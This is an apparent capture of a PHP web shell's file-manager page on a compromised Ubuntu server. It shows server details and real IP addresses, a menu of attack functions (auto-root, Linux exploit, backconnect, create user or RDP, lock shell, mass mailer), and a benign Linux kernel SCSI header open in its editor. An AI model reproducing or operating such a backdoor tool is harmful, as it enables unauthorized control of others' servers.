Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-4.15.0-213 /
include /
scsi /
[ HOME SHELL ]
Name
Size
Permission
Action
fc
[ DIR ]
drwxr-xr-x
fc_encode.h
21.64
KB
-rw-r--r--
fc_frame.h
6.9
KB
-rw-r--r--
fcoe_sysfs.h
3.75
KB
-rw-r--r--
iscsi_if.h
26.07
KB
-rw-r--r--
iscsi_proto.h
16.06
KB
-rw-r--r--
iser.h
2.34
KB
-rw-r--r--
libfc.h
31.71
KB
-rw-r--r--
libfcoe.h
14
KB
-rw-r--r--
libiscsi.h
14.36
KB
-rw-r--r--
libiscsi_tcp.h
4.32
KB
-rw-r--r--
libsas.h
18.53
KB
-rw-r--r--
osd_attributes.h
15.05
KB
-rw-r--r--
osd_initiator.h
16.26
KB
-rw-r--r--
osd_ore.h
5.36
KB
-rw-r--r--
osd_protocol.h
17.57
KB
-rw-r--r--
osd_sec.h
1.48
KB
-rw-r--r--
osd_sense.h
9.89
KB
-rw-r--r--
osd_types.h
1020
B
-rw-r--r--
sas.h
13.22
KB
-rw-r--r--
sas_ata.h
2.73
KB
-rw-r--r--
scsi.h
8.8
KB
-rw-r--r--
scsi_bsg_iscsi.h
2.83
KB
-rw-r--r--
scsi_cmnd.h
9.62
KB
-rw-r--r--
scsi_common.h
2.27
KB
-rw-r--r--
scsi_dbg.h
2.19
KB
-rw-r--r--
scsi_device.h
20.49
KB
-rw-r--r--
scsi_devinfo.h
2.51
KB
-rw-r--r--
scsi_dh.h
3.16
KB
-rw-r--r--
scsi_driver.h
859
B
-rw-r--r--
scsi_eh.h
1.64
KB
-rw-r--r--
scsi_host.h
27.58
KB
-rw-r--r--
scsi_ioctl.h
1.25
KB
-rw-r--r--
scsi_proto.h
10.67
KB
-rw-r--r--
scsi_request.h
667
B
-rw-r--r--
scsi_tcq.h
1.03
KB
-rw-r--r--
scsi_transport.h
3.22
KB
-rw-r--r--
scsi_transport_fc.h
26.47
KB
-rw-r--r--
scsi_transport_iscsi.h
17.25
KB
-rw-r--r--
scsi_transport_sas.h
6.79
KB
-rw-r--r--
scsi_transport_spi.h
7.2
KB
-rw-r--r--
scsi_transport_srp.h
4.77
KB
-rw-r--r--
scsicam.h
713
B
-rw-r--r--
sg.h
12.13
KB
-rw-r--r--
srp.h
6.1
KB
-rw-r--r--
viosrp.h
6.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scsi_transport_spi.h
/* * Parallel SCSI (SPI) transport specific attributes exported to sysfs. * * Copyright (c) 2003 Silicon Graphics, Inc. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef SCSI_TRANSPORT_SPI_H #define SCSI_TRANSPORT_SPI_H #include <linux/transport_class.h> #include <linux/mutex.h> struct scsi_transport_template; struct scsi_target; struct scsi_device; struct Scsi_Host; struct spi_transport_attrs { int period; /* value in the PPR/SDTR command */ int min_period; int offset; int max_offset; unsigned int width:1; /* 0 - narrow, 1 - wide */ unsigned int max_width:1; unsigned int iu:1; /* Information Units enabled */ unsigned int max_iu:1; unsigned int dt:1; /* DT clocking enabled */ unsigned int qas:1; /* Quick Arbitration and Selection enabled */ unsigned int max_qas:1; unsigned int wr_flow:1; /* Write Flow control enabled */ unsigned int rd_strm:1; /* Read streaming enabled */ unsigned int rti:1; /* Retain Training Information */ unsigned int pcomp_en:1;/* Precompensation enabled */ unsigned int hold_mcs:1;/* Hold Margin Control Settings */ unsigned int initial_dv:1; /* DV done to this target yet */ unsigned long flags; /* flags field for drivers to use */ /* Device Properties fields */ unsigned int support_sync:1; /* synchronous support */ unsigned int support_wide:1; /* wide support */ unsigned int support_dt:1; /* allows DT phases */ unsigned int support_dt_only; /* disallows ST phases */ unsigned int support_ius; /* support Information Units */ unsigned int support_qas; /* supports quick arbitration and selection */ /* Private Fields */ unsigned int dv_pending:1; /* Internal flag: DV Requested */ unsigned int dv_in_progress:1; /* Internal: DV started */ struct mutex dv_mutex; /* semaphore to serialise dv */ }; enum spi_signal_type { SPI_SIGNAL_UNKNOWN = 1, SPI_SIGNAL_SE, SPI_SIGNAL_LVD, SPI_SIGNAL_HVD, }; struct spi_host_attrs { enum spi_signal_type signalling; }; /* accessor functions */ #define spi_period(x) (((struct spi_transport_attrs *)&(x)->starget_data)->period) #define spi_min_period(x) (((struct spi_transport_attrs *)&(x)->starget_data)->min_period) #define spi_offset(x) (((struct spi_transport_attrs *)&(x)->starget_data)->offset) #define spi_max_offset(x) (((struct spi_transport_attrs *)&(x)->starget_data)->max_offset) #define spi_width(x) (((struct spi_transport_attrs *)&(x)->starget_data)->width) #define spi_max_width(x) (((struct spi_transport_attrs *)&(x)->starget_data)->max_width) #define spi_iu(x) (((struct spi_transport_attrs *)&(x)->starget_data)->iu) #define spi_max_iu(x) (((struct spi_transport_attrs *)&(x)->starget_data)->max_iu) #define spi_dt(x) (((struct spi_transport_attrs *)&(x)->starget_data)->dt) #define spi_qas(x) (((struct spi_transport_attrs *)&(x)->starget_data)->qas) #define spi_max_qas(x) (((struct spi_transport_attrs *)&(x)->starget_data)->max_qas) #define spi_wr_flow(x) (((struct spi_transport_attrs *)&(x)->starget_data)->wr_flow) #define spi_rd_strm(x) (((struct spi_transport_attrs *)&(x)->starget_data)->rd_strm) #define spi_rti(x) (((struct spi_transport_attrs *)&(x)->starget_data)->rti) #define spi_pcomp_en(x) (((struct spi_transport_attrs *)&(x)->starget_data)->pcomp_en) #define spi_hold_mcs(x) (((struct spi_transport_attrs *)&(x)->starget_data)->hold_mcs) #define spi_initial_dv(x) (((struct spi_transport_attrs *)&(x)->starget_data)->initial_dv) #define spi_dv_pending(x) (((struct spi_transport_attrs *)&(x)->starget_data)->dv_pending) #define spi_support_sync(x) (((struct spi_transport_attrs *)&(x)->starget_data)->support_sync) #define spi_support_wide(x) (((struct spi_transport_attrs *)&(x)->starget_data)->support_wide) #define spi_support_dt(x) (((struct spi_transport_attrs *)&(x)->starget_data)->support_dt) #define spi_support_dt_only(x) (((struct spi_transport_attrs *)&(x)->starget_data)->support_dt_only) #define spi_support_ius(x) (((struct spi_transport_attrs *)&(x)->starget_data)->support_ius) #define spi_support_qas(x) (((struct spi_transport_attrs *)&(x)->starget_data)->support_qas) #define spi_flags(x) (((struct spi_transport_attrs *)&(x)->starget_data)->flags) #define spi_signalling(h) (((struct spi_host_attrs *)(h)->shost_data)->signalling) /* The functions by which the transport class and the driver communicate */ struct spi_function_template { void (*get_period)(struct scsi_target *); void (*set_period)(struct scsi_target *, int); void (*get_offset)(struct scsi_target *); void (*set_offset)(struct scsi_target *, int); void (*get_width)(struct scsi_target *); void (*set_width)(struct scsi_target *, int); void (*get_iu)(struct scsi_target *); void (*set_iu)(struct scsi_target *, int); void (*get_dt)(struct scsi_target *); void (*set_dt)(struct scsi_target *, int); void (*get_qas)(struct scsi_target *); void (*set_qas)(struct scsi_target *, int); void (*get_wr_flow)(struct scsi_target *); void (*set_wr_flow)(struct scsi_target *, int); void (*get_rd_strm)(struct scsi_target *); void (*set_rd_strm)(struct scsi_target *, int); void (*get_rti)(struct scsi_target *); void (*set_rti)(struct scsi_target *, int); void (*get_pcomp_en)(struct scsi_target *); void (*set_pcomp_en)(struct scsi_target *, int); void (*get_hold_mcs)(struct scsi_target *); void (*set_hold_mcs)(struct scsi_target *, int); void (*get_signalling)(struct Scsi_Host *); void (*set_signalling)(struct Scsi_Host *, enum spi_signal_type); int (*deny_binding)(struct scsi_target *); /* The driver sets these to tell the transport class it * wants the attributes displayed in sysfs. If the show_ flag * is not set, the attribute will be private to the transport * class */ unsigned long show_period:1; unsigned long show_offset:1; unsigned long show_width:1; unsigned long show_iu:1; unsigned long show_dt:1; unsigned long show_qas:1; unsigned long show_wr_flow:1; unsigned long show_rd_strm:1; unsigned long show_rti:1; unsigned long show_pcomp_en:1; unsigned long show_hold_mcs:1; }; struct scsi_transport_template *spi_attach_transport(struct spi_function_template *); void spi_release_transport(struct scsi_transport_template *); void spi_schedule_dv_device(struct scsi_device *); void spi_dv_device(struct scsi_device *); void spi_display_xfer_agreement(struct scsi_target *); int spi_print_msg(const unsigned char *); int spi_populate_width_msg(unsigned char *msg, int width); int spi_populate_sync_msg(unsigned char *msg, int period, int offset); int spi_populate_ppr_msg(unsigned char *msg, int period, int offset, int width, int options); int spi_populate_tag_msg(unsigned char *msg, struct scsi_cmnd *cmd); #endif /* SCSI_TRANSPORT_SPI_H */
Close